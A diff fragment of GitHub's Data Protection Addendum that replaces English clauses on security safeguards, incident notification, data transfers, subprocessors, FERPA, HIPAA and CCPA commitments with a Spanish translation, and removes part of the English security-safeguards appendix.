+GitHub implementará y mantendrá las medidas organizacionales y técnicas adecuadas y las salvaguardas de seguridad contra la destrucción accidental o ilegal, o contra la pérdida, alteración o divulgación o acceso no autorizados a los Datos de Cliente y Datos Personales que procese en nombre y de conformidad con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea. GitHub monitoreará frecuentemente el cumplimiento de estas medidas y salvaguardas y seguirá tomando los pasos adecuados a lo largo del periodo en el que el Acuerdo de Cliente de GitHub sea vigente. El <a href="#appendixA">Apéndice A – Salvaguardas de Seguridad</a> contiene una descripción de las medidas técnicas y organizacionales y de las salvaguardas de seguridad que implementa GitHub.
 
-### Security Incident Notification 
+El Cliente es el único responsable de hacer una determinación independiente de si las medidas técnicas y organizacionales y las salvaguardas de seguridad para un Servicio en Línea cumplen con los requisitos del Cliente, incluyendo todas sus obligaciones de seguridad bajo los Requisitos de Protección de Datos aplicables. El cliente reconoce y concuerda que (tomando en cuenta las tecnologías más recientes, los costos de implementación y la naturaleza, alcance, contexto y propósitos del procesamiento de sus Datos de Cliente y Datos Personales, así como el riesgo de posibilidad y gravedad variable de los derechos y libertades de las personas naturales) las medidas técnicas y organizacionales y salvaguardas de seguridad que implementa y mantiene GitHub, proporcionan un nivel de seguridad adecuado al riesgo con respecto a sus Datos Personales y Datos de Cliente. El Cliente es responsable de implementar y mantener las protecciones de privacidad y medidas de seguridad para los componentes que este proporcione o controle.
 
-If GitHub becomes aware of a breach of security leading to the accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to Customer Data or Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services (each a "Security Incident"), GitHub will promptly and without undue delay (1) notify Customer of the Security Incident; (2) investigate the Security Incident and provide Customer with detailed information about the Security Incident; (3) take reasonable steps to mitigate the effects and to minimize any damage resulting from the Security Incident. 
+GitHub proporcionará un reporte de cumplimiento de seguridad tal como los reporte de auditoría externa SOC1, tipo 2 y SOC2, tipo 2, bajo solicitud del Cliente. El Cliente concuerda que cualquier derecho de información y auditoría que otorguen los Requisitos de Protección de Datos aplicables (incluyendo, en dado caso, el Artículo 28(3)(h) de la GDPR) se satisfarán mediante estos reportes de auditoría y, de otro modo, solo se presentarán en la medida en que el aprovisionamiento de GitHub para un reporte de cumplimiento no proporcione información suficiente o en medida en que el Cliente deba responder a una auditoría o investigación de una autoridad supervisora o regulatoria.
 
-Notification(s) of Security Incidents will be delivered to one or more of Customer's administrators by any means GitHub selects, including via email. It is Customer's sole responsibility to ensure it maintains accurate contact information with GitHub and that Customer's administrators monitor for and respond to any notifications. Customer is solely responsible for complying with its obligations under incident notification laws applicable to Customer and fulfilling any third-party notification obligations related to any Security Incident. 
+En caso de que el Cliente esté sujeto a una auditoría de una autoridad supervisora o regulatoria o a una investigación o que lleve a cabo una auditoría o investigación como respuesta a una solicitud de una autoridad supervisora o regulatoria que requiera la participación de GitHub y las obligaciones del Cliente no puedan satisfacerse de forma razonable (cuando sea permisible por parte de los reguladores del Cliente) mediante reportes de auditoría, documentación o información de cumplimiento que GitHub mantenga disponible generalmente a sus clientes, entonces, GitHub responderá inmediatamente a las instrucciones y solicitudes adicionales del Cliente con respecto a la información, de acuerdo con los siguientes términos y condiciones:
 
-GitHub will make reasonable efforts to assist Customer in fulfilling Customer's obligation under GDPR Article 33 or other applicable law or regulations to notify the relevant regulatory or supervisory authority and individual data subjects about a Security Incident. 
+- GitHub proporcionará acceso al personal con conocimientos relevantes, documentación y software de aplicaciones.
+- El Cliente y GitHub acordarán mutuamente con un acuerdo escrito previamente (se acepta también el formato de correo electrónico) sobre los requisitos del alcance, tiempos, duración, control y evidencia, en caso de que dicho requisito para estar de acuerdo no permita que GitHub retrase su cooperación de forma razonable.
+- El Cliente debe garantizar el uso de su regulador sobre una firma de auditoría de terceros independiente y acreditada durante horas hábiles habituales y con un aviso por escrito razonablemente anticipado y sujeto a los procedimientos de confidencialidad razonables. Ni el Cliente, ni sus reguladores, ni los delegados de sus reguladores deberán tener acceso a cualquier tipo de datos de otros clientes, sistemas o instalaciones de GitHub que no se involucren en los Servicios en Línea.
+- El Cliente es responsable de todos los costos y comisiones que se relacionen con la cooperación de GitHub con las auditorías regulatorias del Cliente, incluyendo todos los costos y comisiones razonables por cualquier y todos los gastos de GitHub, adicionalmente a las tasas por los servicios que lleva a cabo GitHub.
+- Si el reporte que se genere de la cooperación de GitHub con la auditoría regulatoria del Cliente involucra cualquier hallazgo que pertenezca a GitHub, el Cliente compartirá dicho reporte, hallazgos y acciones recomendadas con GitHub cuando los reguladores del Cliente así lo permitan.
 
-GitHub’s notification of or response to a Security Incident under this section is not an acknowledgement by GitHub of any fault or liability with respect to the Security Incident. 
+### Notificación de Incidentes de Seguridad
 
-Customer must notify GitHub promptly about any possible misuse of its accounts or authentication credentials or any Security Incident related to an Online Service. 
+Si GitHub se hace consciente de alguna violación de seguridad que llevase a una destrucción, pérdida, alteración, divulgación o acceso no autorizados e ilegales de los Datos de Cliente o de los Datos Personales que procesa GitHub en nombre de y de acuerdo con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea (cada uno de ellos un "Incidente de Seguridad"), GitHub realizará inmediatamente y sin retraso indebido (1) la notificación al cliente sobre el Incidente de Seguridad; (2) la investigación del Incidente de Seguridad y otorgamiento al Cliente de la información detallada sobre dicho Incidente de Seguridad; (3) el tomar los pasos razonables para mitigar los efectos y minimizar cualquier daño que resultara de dicho Incidente de Seguridad.
 
-### Data Transfers and Location 
+Las notificación(es) de incidentes de seguridad se entregarán a uno o más de los administradores del cliente por cualquier medio que seleccione GitHub, incluyendo el correo electrónico. Es la responsabilidad única del cliente el asegurar que mantiene información de contacto actualizada con GitHub y que su administrador monitoree y responda a cualquier notificación. El Cliente es el único responsable de cumplir con sus obligaciones según las leyes de notificación de incidentes aplicables al Cliente y de cumplir con las obligaciones de notificación de terceros relacionadas con cualquier Incidente de seguridad.
 
-Personal Data that GitHub processes on behalf and in accordance with the documented instructions of Customer in connection with the Online Services may not be transferred to, or stored and processed in a geographic location except in accordance with the DPA Terms and the safeguards provided below in this section. Taking into account such safeguards, Customer appoints GitHub to transfer Personal Data to the United States or any other country in which GitHub or its Subprocessors operate and to store and process Personal Data to provide the Online Services, except as may be described elsewhere in these DPA Terms. 
+GitHub hará esfuerzos razonables para asistir al Cliente en el cumplimiento de sus obligaciones bajo el Artículo 33 de la GDPR o cualquier otra ley o regulación aplicable para notificar a la autoridad supervisora o regulatoria y a los titulares de los datos individuales sobre cualquier incidente de Seguridad.
 
-All transfers of Personal Data out of the European Union, European Economic Area, or Switzerland to provide the Online Services shall be governed by the Standard Contractual Clauses (EU/EEA) in <a href="#attachment1">Attachment 1</a>. All transfers of Personal Data out of the United Kingdom to provide the Online Services shall be governed by the Standard Contractual Clauses (UK) in <a href="#attachment2">Attachment 2</a>. For the purposes of the Standard Contractual Clauses (UK) in <a href="#attachment2">Attachment 2</a>, references to the “European Union,” “EU,” “European Economic Area,” “EEA” or a “Member State” shall be interpreted to refer to the United Kingdom where reasonably necessary and appropriate to give full force and effect to the Standard Contractual Clauses (UK) with respect to transfers of Personal Data from the United Kingdom. This applies regardless of the fact that, effective January 31, 2020, the United Kingdom is no longer a Member State of the European Union or European Economic Area. 
+La notificación o respuesta a un Incidente de Seguridad por parte de GitHub bajo esta sección no es un reconocimiento de GitHub sobre cualquier falta o responsabilidad con respecto al mismo.
 
-GitHub will abide by the requirements of applicable European Union, European Economic Area, United Kingdom and Swiss data protection law, and other Data Protection Requirements, in each case regarding the transfer of Personal Data to recipients or jurisdictions outside such jurisdiction. All such transfers of Personal Data will, where applicable, be subject to appropriate safeguards as described in Article 46 of the GDPR and such transfers and safeguards will be documented according to Article 30(2) of the GDPR. 
+El Cliente debe notificar a GitHub inmediatamente sobre cualquier posible mal uso de sus cuentas o credenciales de autenticación o Incidentes de Seguridad que se relacionen con el Servicio en Línea.
 
-Subject to the safeguards described above, GitHub may transfer, store and otherwise process Personal Data to or in jurisdictions and geographic locations worldwide as it, subject to its sole discretion, considers reasonably necessary in connection with the Online Services. 
+### Transferencia de Datos y Ubicación
 
-### Data Retention and Deletion 
+Los Datos Personales que procese GitHub en nombre de y de acuerdo con las instrucciones documentadas del Cliente en conexión con los Servicios en Línea no deberán transferirse a, o almacenarse y procesarse en una ubicación geográfica, con excepción de aquellas que se apeguen a los Términos del DPA y a las salvaguardas que se proporcionan más adelante en esta sección. Tomando en cuenta dichas salvaguardas, el Cliente designará a GitHub para transferir Datos Personales a los Estados Unidos o a cualquier otro país en el que GitHub o sus Subprocesadores operen y almacenen y procesen Datos Personales para proporcionar los Servicios en Línea, con excepción de lo que se describa en cualquier otra parte de los Términos del DPA.
 
-Upon Customer's reasonable request, unless prohibited by law, GitHub will return or destroy all Customer Data and Personal Data processed by GitHub on behalf and in accordance with the documented instructions of Customer in connection with the Online Services at all locations where it is stored within 30 days of the request, provided that it is no longer needed for providing the Online Services or the purposes for which a data subject had authorized the processing of their Personal Data. GitHub may retain Customer Data or Personal Data to the extent required by the applicable Data Protection Requirements or other applicable law, and only to the extent and for such period as required by the applicable Data Protection Requirements or other applicable law, provided that GitHub will ensure that the Customer Data or Personal Data is processed only as necessary for the purpose specified in the applicable Data Protection Requirements or other applicable law and no other purpose, and the Customer Data or Personal Data remains protected by the Applicable Data Protection Requirements or other applicable law. 
+Todas las transferencias de Datos Personales fuera de la Unión europea, del Área Económica Europea o de Suiza para proporcionar los Servicios en Línea deberán regirse por las Cláusulas Contractuales Estándar (EU/EEA) en el <a href="#attachment1">Adjunto 1</a>. Todas las transferencias de Datos Personales fuera del Reino Unido para proporcionar los Servicios en Línea deberán regirse por las Cláusulas Contractuales Estándar (UK) en el <a href="#attachment2">Adjunto 2</a>. Para propósitos de las Cláusulas Contractuales Estándar (UK) en el <a href="#attachment2">Adjunto 2</a>, las referencias a "La Unión Europea", "UE", "El Área Económica Europea", "AEE" o un "Estado Miembro", deberán interpretarse para referirse al Reino Unido donde sea razonablemente necesario y adecuado para dar fuerza y efecto totales a las Cláusulas Contractuales Estándar (UK) con respecto a las transferencias de Datos Personales desde el Reino Unido. Esto aplica sin importar el hecho de que, desde el 31 de enero de 2020, el Reino Unido ya no es un Estado Miembro de la Unión Europea o del Área Económica Europea.
 
-### Processor Confidentiality Commitment 
+GitHub cumplirá los requisitos de las leyes de protección de datos aplicables de la Unión Europea, el Área Económica Europea, el Reino Unido y Suiza y el resto de los Requisitos de Protección de Datos, en cada caso, que tengan que ver con la transferencia de Datos Personales a los receptores o a las jurisdicciones fuera de estas. Todas estas transferencias de Datos Personales estarán, cuando sea aplicable, sujetas a las salvaguardas adecuadas de acuerdo con lo descrito en el Artículo 46 de la GDPR y dichas transferencias y salvaguardas se documentarán de acuerdo con el Artículo 30(2) de la GDPR.
 
-GitHub will ensure that its personnel engaged in the processing of Customer Data and Personal Data on behalf of Customer in connection with the Online Services (i) will process such data only on instructions from Customer or as described in this DPA, and (ii) will be obligated to maintain the confidentiality and security of such data even after their engagement ends. GitHub shall provide periodic and mandatory data privacy and security training and awareness to its employees with access to Customer Data and Personal Data in accordance with applicable Data Protection Requirements or other applicable law and industry standards. 
+Sujeto a las salvaguardas que se describen anteriormente, GitHub podría transferir, almacenar y procesar de cualquier otra forma los Datos Personales hacia o en las jurisdicciones y ubicaciones geográficas internacionales como lo considere, sujeto a su propio criterio, razonablemente necesario en conexión con los Servicios en Línea.
 
-### Notice and Controls on Use of Subprocessors 
+### Retención y Borrado de Datos
 
-GitHub may hire Subprocessors to provide certain limited or ancillary services on its behalf. Customer consents to this engagement and to GitHub Affiliates as Subprocessors. The above authorizations will constitute Customer’s prior written consent to the subcontracting by GitHub of the processing of Personal Data if such consent is required under applicable law, the Standard Contractual Clauses or the GDPR Related Terms. 
+Bajo la solicitud razonable del Cliente, a menos de que lo prohíba la ley, GitHub devolverá o destruirá todos los Datos de Cliente y Datos Personales que procese en nombre y de acuerdo con las instrucciones documentadas del dicho Cliente en conexión con los Servicios en Línea en todas las ubicaciones donde se almacene en los primeros 30 días desde la solicitud, suponiendo que ya no se requiera para proporcionar los Servicios en Línea o para los propósitos por los cuales se autorizó el procesamiento de dichos Datos Personales. GitHub podría retener los Datos del Cliente o los Datos Personales conforme lo requiera de acuerdo con los Requisitos de Protección de Datos u otras leyes aplicables y únicamente en la medida y por el periodo en que dichos Requisitos de Protección de datos u otras leyes aplicables así lo requieran, asumiendo que GitHub se asegure de que los Datos Personales o Datos del Cliente se procesen únicamente de acuerdo con las necesidades del propósito especificado en los Requisitos de Protección de Datos u otras leyes aplicables y no para cualquier otro propósito y que dichos Datos Personales o Datos del Cliente permanezcan bajo la protección de los Requisitos de Protección de Datos u otras leyes aplicables.
 
-GitHub is responsible for its Subprocessors’ compliance with GitHub’s obligations in this DPA. GitHub makes available information about Subprocessors on the GitHub website https://github.com/subprocessors (or a successor location). When engaging any Subprocessor, GitHub will ensure via a written contract that the Subprocessor may access and use Customer Data or Personal Data only to deliver the services GitHub has retained them to provide and is prohibited from using Customer Data or Personal Data for any other purpose. GitHub will ensure that Subprocessors are bound by written agreements that require them to provide at least the level of data protection required of GitHub by the DPA, including the limitations on disclosure of Personal Data. GitHub agrees to oversee the Subprocessors to ensure that these contractual obligations are met. 
+### Compromiso de Confidencialidad del Procesador
 
-From time to time, GitHub may engage new Subprocessors. GitHub will give Customer notice (by updating the website at https://github.com/github-subprocessors-list (or a successor location) and providing Customer with a mechanism to obtain notice of that update) of any new Subprocessor in advance of providing that Subprocessor with access to Customer Data. If GitHub engages a new Subprocessor for a new Online Service, GitHub will give Customer notice prior to availability of that Online Service. 
+GitHub garantizará que su personal que participa en el procesamiento de Datos de Cliente o Personales en nombre del Cliente y en conexión con los Servicios en Línea (i) procesará dichos datos únicamente bajo las instrucciones del cliente o de acuerdo con lo que se describe en este DPA y (ii) se verá obligado a mantener la confidencialidad y seguridad de dichos datos, incluso si la relación termina. GitHub deberá proporcionar capacitación frecuente y obligatoria sobre concientización, seguridad y privacidad de los datos a sus empleados con acceso a los Datos Personales o del Cliente, de acuerdo con los Requisitos de Protección de Datos u otras leyes aplicables y con los estándares de la industria.
 
-If Customer does not approve of a new Subprocessor, then Customer may terminate any subscription for the affected Online Service without penalty by providing, before the end of the relevant notice period, written notice of termination. Customer may also include an explanation of the grounds for non-approval together with the termination notice, in order to permit GitHub to re-evaluate any such new Subprocessor based on the applicable concerns. If the affected Online Service is part of a suite (or similar single purchase of services), then any termination will apply to the entire suite. After termination, GitHub will remove payment obligations for any subscriptions for the terminated Online Service from subsequent invoices to Customer or its reseller. 
+### Aviso y Controles de Uso de Subprocesadores
 
-### Educational Institutions 
-If Customer is an educational agency or institution subject to the regulations under the Family Educational Rights and Privacy Act, 20 U.S.C. § 1232g (FERPA), or similar state student or educational privacy laws (collectively “Educational Privacy Laws”), Customer shall not provide Personal Data covered by such Educational Privacy Laws to GitHub without obtaining GitHub’s prior, written and specific consent and entering into a separate agreement with GitHub governing the parties’ rights and obligations with respect to the processing of such Personal Data by GitHub in connection with the Online Services. 
+GitHub podría contratar subprocesadores para proporcionar algunos servicios limitados o auxiliares en su nombre. El cliente otorga el consentimiento a esta participación y a los Afiliados de GitHub, tales como los subprocesadores. Las autorizaciones antes mencionadas constituirán el consentimiento por escrito previo del cliente para que GitHub subcontrate el procesamiento de los Datos Personales en caso de que este se requiera bajo la ley aplicable, las Cláusulas Contractuales Estándar o los Términos Relacionados con la GDPR.
 
-Subject to the above, if Customer intends to provide to GitHub Personal Data covered by FERPA, the parties agree and acknowledge that, for the purposes of this DPA, GitHub is a “school official” with “legitimate educational interests” in the Personal Data, as those terms have been defined under FERPA and its implementing regulations. Customer understands that GitHub may possess limited or no contact information for Customer’s students and students’ parents. Consequently, Customer will be responsible for obtaining any student or parental consent for any end user’s use of the Online Services that may be required by applicable law and to convey notification on behalf of GitHub to students (or, with respect to a student under 18 years of age and not in attendance at a postsecondary institution, to the student’s parent) of any judicial order or lawfully-issued subpoena requiring the disclosure of Personal Data in GitHub’s possession as may be required under applicable law. 
+GitHub es responsable del cumplimiento de sus subprocesadores para con las obligaciones de GitHub que se contienen en el presente DPA. GitHub hace disponible la información relacionada con los subprocesadores en su sitio web https://github.com/subprocessors (o en una ubicación subsecuente). Cuando GitHub haga partícipe a cualquier subprocesador, se asegurará mediante un contrato por escrito de que dicho subprocesador pueda acceder a los Datos del Cliente o Datos Personales únicamente para entregar los servicios para los cuales GitHub los haya contratado para prestar y se les prohibirá utilizar los Datos de Cliente o Datos Personales para cualquier otro propósito. GitHub se asegurará de que los subprocesadores se rijan mediante acuerdos por escrito que los obliguen a proporcionar por lo menos el nivel de protección de datos que GitHub requiere mediante este DPA, incluyendo las limitaciones de divulgación de Datos Personales. GitHub acuerda supervisar a los subprocesadores para garantizar que estas obligaciones contractuales se cumplan.
 
-### CJIS Customer Agreement, HIPAA Business Associate, Biometric Data 
+De vez en cuando, GitHub podría involucrar subprocesadores nuevos. GitHub dará aviso al Cliente (actualizando el sitio web en https://github.com/github-subprocessors-list (o en alguna ubicación subsecuente) y proporcionándole al Cliente los mecanismos para obtener las notificaciones de dicha actualización) sobre cualquier subprocesador nuevo antes de proporcionar a dicho subprocesador el acceso a los Datos del Cliente. Si GitHub involucra a un subprocesador nuevo para un Servicio en Línea nuevo, GitHub notificará al Cliente antes de que dicho Servicio en Línea esté disponible.
 
-Except with GitHub’s prior, written and specific consent, Customer shall not provide to GitHub any Personal Data 
+Si algún Cliente no aprueba el subprocesador nuevo, entonces dicho Cliente podría terminar cualquier suscripción al Servicio en Línea afectado sin tener penalización alguna en caso de que proporcione, antes de la finalización del periodo de notificación relevante, una notificación por escrito de dicha terminación. El Cliente también podrá incluir una explicación de las bases para este desapruebo en conjunto con la notificación de terminación para permitir que GitHub reevalúe a cualquier subprocesador en cuestión de acuerdo con sus preocupaciones aplicables. Si el Servicio en Línea afectado es parte de una suite (o de la compra de servicios individuales similar), entonces cualquier terminación aplicará a la suite completa. Después de la terminación, GitHub eliminará las obligaciones de pago para cualquier suscripción para el Servicio en Línea terminado para que no existan facturas subsecuentes para el Cliente o su revendedor.
 
-- relating to criminal convictions and offenses or Personal Data collected or otherwise processed by Customer subject to or in connection with FBI 
-Criminal Justice Information Services or the related Security Policy. 
-- constituting protected health information governed by the privacy, security, and breach notification rules issued by the United States Department of Health and Human Services, Parts 160 and 164 of Title 45 of the Code of Federal Regulations, established pursuant to the Health Insurance Portability and Accountability Act of 1996 (Public Law 104-191) or by state health or medical privacy laws. 
-- collected as part of a clinical trial or other biomedical research study subject to, or conducted in accordance with, the Federal Policy for the Protection of Human Subjects (Common Rule). 
-- covered by state, federal or foreign biometric privacy laws or otherwise constituting biometric information including information on an individual’s physical, physiological, biological or behavioral characteristics or information derived from such information that is used or intended to be used, singly or in combination with each other or with other information, to establish individual identity. 
+### Instituciones Educativas
+Un Cliente es una agencia educativa o instituto sujeto a las regulaciones bajo la Ley de Privacidad y Derechos Educativos de la Familia, 20 U.S.C. § 1232g (FERPA), o a las leyes de privacidad educativa o estudiantil estatales similares (en conjunto, las "Leyes de Privacidad Educativa"), el Cliente no deberá proporcionar Datos Personales de acuerdo con dichas Leyes de Privacidad Educativa a GitHub sin haber obtenido el consentimiento específico y por escrito de GitHub previamente y haber ingresado en un acuerdo por separado en donde GitHub rija los derechos y obligaciones de las partes con respecto al procesamiento de dichos Datos Personales por parte de GitHub en conexión con los Servicios en Línea.
 
-### California Consumer Privacy Act (CCPA) / California Privacy Rights Act (CPRA) 
+Sujeto a lo anterior, si el Cliente necesita proporcionar a GitHub los Datos Personales que se contemplan en la FERPA, las partes concuerdan y reconocen que, para propósitos de este DPA, GitHub es un "directivo escolar" con "intereses educativos legítimos" en los Datos Personales, ya que estos términos se definieron bajo la FERPA y sus regulaciones de implementación. El Cliente entiende que GitHub podría poseer información de contacto limitada o nula sobre los padres de los alumnos y los alumnos mismos. Como consecuencia, el Cliente será responsable de obtener cualquier consentimiento de los padres del alumno para cualquier tipo de uso que tendrá el usuario final sobre los Servicios en Línea, el cual pudiera requerir la ley aplicable y de convenir las notificaciones en nombre de GitHub a los alumnos (o, con respecto a los alumnos menores de 18 años de edad que no asisten a una institución post-secundaria, al padre del alumno) sobre cualquier orden judicial o citación emitida legalmente, la cual requiera la divulgación de los Datos Personales en posesión de GitHub conforme pueda requerirse bajo la ley aplicable.
 
-If and to the extent GitHub is processing Personal Data on behalf and in accordance with the documented instructions of Customer within the scope of the CCPA, GitHub makes the following additional commitments to Customer. GitHub will process the Personal Data on behalf of Customer and will not 
+### Acuerdo de Cliente de CJIS, Asociado de Negocios HIPAA, Datos Biométricos
 
-- sell the Personal Data as the term “selling” is defined in the CCPA. - share, rent, release, disclose, disseminate, make available, transfer or otherwise communicate orally, in writing or by electronic or other means, the Personal Data to a third party for cross-context behavioral advertising, whether or not for monetary or other valuable consideration, including 
-transactions for cross-context behavioral advertising in which no money is exchanged. 
-- retain, use or disclose the Personal Data for any purpose other than for the business purposes specified in the DPA Terms and the GitHub Customer Agreement, including retaining, using or disclosing the Personal Data for a commercial purpose other than the business purposes specified in the DPA Terms or the GitHub Customer Agreement, or as otherwise permitted by the CCPA. 
-- retain, use or disclose the Personal Data outside of the direct business relationship with Customer. 
-- combine the Personal Data with personal information that it receives from or on behalf of a third party or collects from California residents, except that GitHub may combine Personal Data to perform any business purpose as permitted by the CCPA or any regulations adopted or issued under the CCPA. 
+El cliente no deberá proporcionar a GitHub ningún tipo de Datos Personales, a menos de que cuente con el consentimiento previo, específico y por escrito de GitHub
 
-### How to Contact GitHub 
+- con relación a las condenas y ofensas o a los Datos Personales recolectados de cualquier otra forma y procesados por el Cliente sujetos o en conexión con los Servicios de Información de Justicia Penal del FBI o de la Política de Seguridad relacionada.
+- constituir información protegida sobre la salud que se rija por las reglas de notificación de violación, seguridad y privacidad que emite el Departamento de Salud y Servicios Humanos de los Estados Unidos en las partes 160 y 164 del título 45 del Código Federal de Regulaciones, las cuales se establecen de conformidad con la Ley de Portabilidad y Responsabilidad de los Seguros de Salud de 1996 (Ley Pública 104-191) o mediante las leyes de privacidad médica o de salud del estado.
+- recolectada como parte de ensayos clínicos u otros estudios de investigación biomédica sujetos a o conducidos de acuerdo con la Política Federal para la Protección de Sujetos Humanos (Regal Común).
+- cubierta por las leyes de privacidad biométrica extranjeras, federales o estatales o de otra manera, que constituya información biométrica que incluya información sobre las características conductivas, biológicas, psicológicas o físicas de un individuo o cualquier información derivada de esto, la cual se utilice o pretenda utilizarse, individual o colectivamente con cada parte de la información o con otro tipo de información diferente, para establecer la identidad individual.
 
-If Customer believes that GitHub is not adhering to its privacy or security commitments, Customer may contact customer support or use GitHub’s Privacy web form, located at https://support.github.com/contact/privacy. GitHub’s mailing address is: 
+### Ley de Privacidad de Consumidores de California (CCPA) / Ley de Derechos de Privacidad de California (CPRA)
 
-**GitHub Privacy** <br/>
-GitHub, Inc. <br/>
-88 Colin P. Kelly Jr. Street <br/>
-San Francisco, California 94107 USA <br/>
+Si y en la medida en la que GitHub esté procesando Datos Personales en nombre de y de acuerdo con las instrucciones documentadas del Cliente dentro del alcance de la CCPA, GitHub hace los siguientes compromisos adicionales con el Cliente. GitHub procesará los Datos Personales en nombre del Cliente y no
 
-GitHub B.V. is GitHub’s data protection representative for the European Economic Area. The privacy representative of GitHub B.V. can be reached at the following address: 
+- venderá los Datos personales de acuerdo con la definición del término "vender" en la CCPA. - compartirá, rentará, liberará, divulgará, diseminará, pondrá a disposición, transferirá o comunicará de otra manera en forma oral, escrita o electrónica o por otros medios la Información Personal a un tercero para hacer publicidad conductual entre contextos, ya sea por una remuneración monetaria o con otra consideración de valor, incluyendo las transacciones para los anuncios conductuales entre contextos en donde no se intercambie dinero.
+- retendrá, utilizará o divulgará los Datos Personales para cualquier propósito diferente a aquellos de negocios que se especifican en los Términos del DPA y del Acuerdo de Cliente de GitHub, incluyendo el retener, utilizar o divulgar los Datos Personales para propósitos comerciales diferentes a aquellos de negocios que se especifican en los Términos del DPA o en el Acuerdo de Cliente de GitHub o de otra forma permitido por la CCPA.
+- retendrá, utilizará o divulgará Datos Personales fuera de la relación comercial directa con el Cliente.
+- combinará los Datos Personales con la información personal que recibe de o en nombre de un tercero o recolecta de los residentes de California, con excepción de que GitHub podría combinar los Datos Personales para realizar cualquier propósito comercial de acuerdo con lo permitido por la CCPA o con cualquier regulación que se adopte o emita bajo esta.
 
-**GitHub B.V.** <br/>
-Vijzelstraat 68-72 <br/>
-1017 HL Amsterdam <br/> 
-The Netherlands <br/> 
+### Cómo Contactar a GitHub
 
-<p id="appendixA"><h1>Appendix A – Security Safeguards</h1></p>
+Si el cliente Cree que GitHub no está respetando sus compromisos de privacidad o seguridad, este puede contactar a soporte al cliente o utilizar el formato web de Privacidad de GitHub, el cual se ubica en https://support.github.com/contact/privacy. La dirección postal de GitHub es:
 
-GitHub has implemented and will maintain for Customer Data and Personal Data processed by GitHub on behalf and in accordance with the 
-documented instructions of Customer in connection with GitHub services the following technical and organizational measures and security 
-safeguards, which in conjunction with the security commitments in this DPA (including the GDPR Related Terms), are GitHub’s only responsibility 
-with respect to the security of that data: 
- 
-Domain | Practices 
--------|---------|
-Organization of Information Security | **Security Ownership**. GitHub has appointed one or more security officers responsible for coordinating and monitoring the security policies and procedures. <br/><br/> **Security Roles and Responsibilities**. GitHub personnel with access to Customer Data and Personal Data are subject to confidentiality obligations. <br/><br/> **Risk Management Program**. GitHub performs an annual risk assessment. <br/> GitHub retains its security documents pursuant to its retention requirements after they are no longer in effect. <br/><br/> **Vendor Management**. GitHub has a vendor risk assessment process, vendor contract clauses and additional data protection agreements with vendors. 
-Asset Management | **Asset Inventory**. GitHub maintains an inventory of all media on which Customer Data and Personal Data is stored. Access to the inventories of such media is restricted to GitHub personnel authorized to have such access. <br/><br/> **Asset Handling** <br/> - GitHub classifies Customer Data and Personal Data to help identify it and to allow for access to it to be appropriately restricted. <br/> - GitHub communicates employee responsibility and accountability for data protection up to and including cause for termination. <br/> GitHub personnel must obtain GitHub authorization prior to remotely accessing Customer Data and Personal Data or processing Customer Data and Personal Data outside GitHub’s facilities. 
-Human Resources Security | **Security Training**. GitHub requires all new hires to complete security and privacy awareness training as part of initial on-boarding. Participation in annual training is required for all employees to provide a baseline for security and privacy basics. 
-Physical and Environmental Security | **Physical Access to Facilities**. GitHub limits access to facilities where information systems that process Customer Data and Personal Data are located to identified authorized individuals. <br/><br/> **Physical Access to Components**. GitHub maintains records of the incoming and outgoing media containing Customer Data, including the kind of media, the authorized sender/recipients, date and time, the number of media and the types of Customer Data and Personal Data they contain. <br/><br/> **Protection from Disruptions**. GitHub uses a variety of industry standard systems to protect against loss of data due to power supply failure or line interference. <br/><br/> **Component Disposal**. GitHub uses industry standard processes to delete Customer Data and Personal Data when it is no longer needed. 
-Communications and Operations Management | **Operational Policy**. GitHub maintains security documents describing its security measures and the relevant procedures and responsibilities of its personnel who have access to Customer Data. <br/><br/> **Data Recovery Procedures** <br/> - On an ongoing basis, but in no case less frequently than once a week (unless no Customer Data and Personal Data has been updated during that period), GitHub maintains multiple copies of Customer Data and Personal Data from which Customer Data and Personal Data can be recovered. <br/> - GitHub stores copies of Customer Data and Personal Data and data recovery procedures in a different place from where the primary computer equipment processing the Customer Data and Personal Data is located. <br/> - GitHub has specific procedures in place governing access to copies of Customer Data. <br/> - GitHub logs data restoration efforts, including the person responsible, the description of the restored data and where applicable, the person responsible and which data (if any) had to be input manually in the data recovery process. <br/><br/> **Malicious Software**. GitHub has threat detection controls to help identify and respond to anomalous or suspicious access to Customer Data, including malicious software originating from public networks. <br/><br/> **Data Beyond Boundaries** <br/> - GitHub encrypts, or enables Customer to encrypt, Customer Data and Personal Data that is transmitted over public networks. <br/> - GitHub restricts access to Customer Data and Personal Data in media leaving its facilities. <br/><br/> **Event Logging**. GitHub logs, or enables Customer to log, access and use of information systems containing Customer Data, registering the access ID, time, authorization granted or denied, and relevant activity. 
-Access Control | **Access Policy**. GitHub maintains a record of security privileges of individuals having access to Customer Data. <br/><br/> **Access Authorization** <br/> - GitHub maintains and updates a record of personnel authorized to access GitHub systems that contain Customer Data. <br/> - GitHub identifies those personnel who may grant, alter or cancel authorized access to data and resources. <br/> - GitHub ensures that where more than one individual has access to systems containing Customer Data, the individuals have separate identifiers/log-ins where technically and architecturally feasible, and commercially reasonable. <br/><br/> **Least Privilege** <br/> - Technical support personnel are only permitted to have access to Customer Data and Personal Data when needed. <br/> - GitHub restricts access to Customer Data and Personal Data to only those individuals who require such access to perform their job function. GitHub employees are only granted access to production systems based on their role within the organization. <br/><br/> **Integrity and Confidentiality** <br/><br/> - GitHub instructs GitHub personnel to disable administrative sessions when computers are left unattended. <br/> - GitHub stores passwords such that they are encrypted or unintelligible while they are in force. <br/><br/> **Authentication** <br/> - GitHub uses industry standard practices to identify and authenticate users who attempt to access information systems. <br/> - Where authentication mechanisms are based solely on passwords, GitHub requires the password to be at least eight characters long. <br/> - GitHub ensures that de-activated or expired employee identifiers are not granted to other individuals. <br/> - GitHub monitors, or enables Customer to monitor, repeated attempts to gain access to the information system using an invalid password. <br/> - GitHub maintains industry standard procedures to deactivate passwords that have been corrupted or inadvertently disclosed. <br/> - GitHub uses industry standard password protection practices, including practices designed to maintain the confidentiality and integrity of passwords when they are assigned and distributed, and during storage. <br/><br/> **Network Design**. GitHub has controls to ensure no systems storing Customer Data and Personal Data are part of the same logical network used for GitHub business operations. 
